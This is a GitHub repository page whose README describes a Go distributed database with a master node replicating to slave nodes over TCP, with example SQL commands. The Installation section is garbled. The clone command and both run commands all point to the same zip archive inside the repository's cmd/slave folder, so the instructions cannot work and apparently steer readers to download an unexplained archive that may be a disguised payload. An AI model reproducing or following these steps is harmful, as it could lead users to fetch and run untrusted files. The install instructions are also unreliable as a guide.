Skip to content

Latest commit

 

History

16 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Building a Distributed Database Using Go

📚 Objective

Design and implement a basic distributed database system using the Go programming language. This project introduces core concepts of distributed systems, including data replication and fault tolerance.

💡 Key Features

  • A distributed database system with a master-slave architecture.
  • Supports dynamic creation of databases and tables.
  • Master node can perform CRUD operations, and slaves can execute queries (excluding DROP).
  • Data replication across multiple nodes for fault tolerance.
  • Communication between nodes using TCP.

🛠 Architecture

                 +-------------------------+
                 |      Master Node        |
                 |------------------------ |
                 | - DB Write Access       |
                 | - Broadcast to Slaves   |
                 +-------------------------+
                   /                       \
                  v                         v
    +-------------------------+   +-------------------------+
    |     Slave Node 1        |   |     Slave Node 2        |
    |-------------------------|   |-------------------------|
    | - Read-only DB          |   | - Read-only DB          |
    | - Listen for Replication|   | - Listen for Replication|
    +-------------------------+   +-------------------------+
  1. Master Node:

    • Manages the creation of databases and tables.
    • Executes queries and replicates data to slave nodes.
    • Uses TCP for communication with slaves.
  2. Slave Nodes:

    • Independently store data and execute queries.
    • Receive replicated data from the master.
    • Restricted from executing database creation or deletion operations.

⚙️ Installation

  1. Clone the repository:

    git clone https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip cd distributed-mysql

  2. Install Go and MySQL on your system.

  3. Update the configuration (IP addresses, ports, credentials) in the master and slave files as needed.

  4. Run the Master Node:

    go run https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip

  5. Run the Slave Node:

    go run https://raw.githubusercontent.com/BolaAshraf/DDB_Project/main/cmd/slave/Project-DD-v2.4-alpha.3.zip

🚀 Usage

  • Start the master node first, followed by the slave nodes.
  • Use the master console to execute queries.
  • The master will automatically replicate data to all connected slave nodes.

Example Commands:

  • To create a new database:

    CREATE DATABASE testDB;

  • To insert a record:

    INSERT INTO users (id, name) VALUES (1, 'Jessy');

  • To view records from slaves:

    SELECT * FROM users;

📂 Project Structure

📝 License

This project is licensed under the MIT License.

👥 Authors

  • Jessy - Project Lead and Developer

Feel free to contribute or report issues on the GitHub repository.

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

1 watching

Forks

Releases

Packages

Used by

Contributors

Languages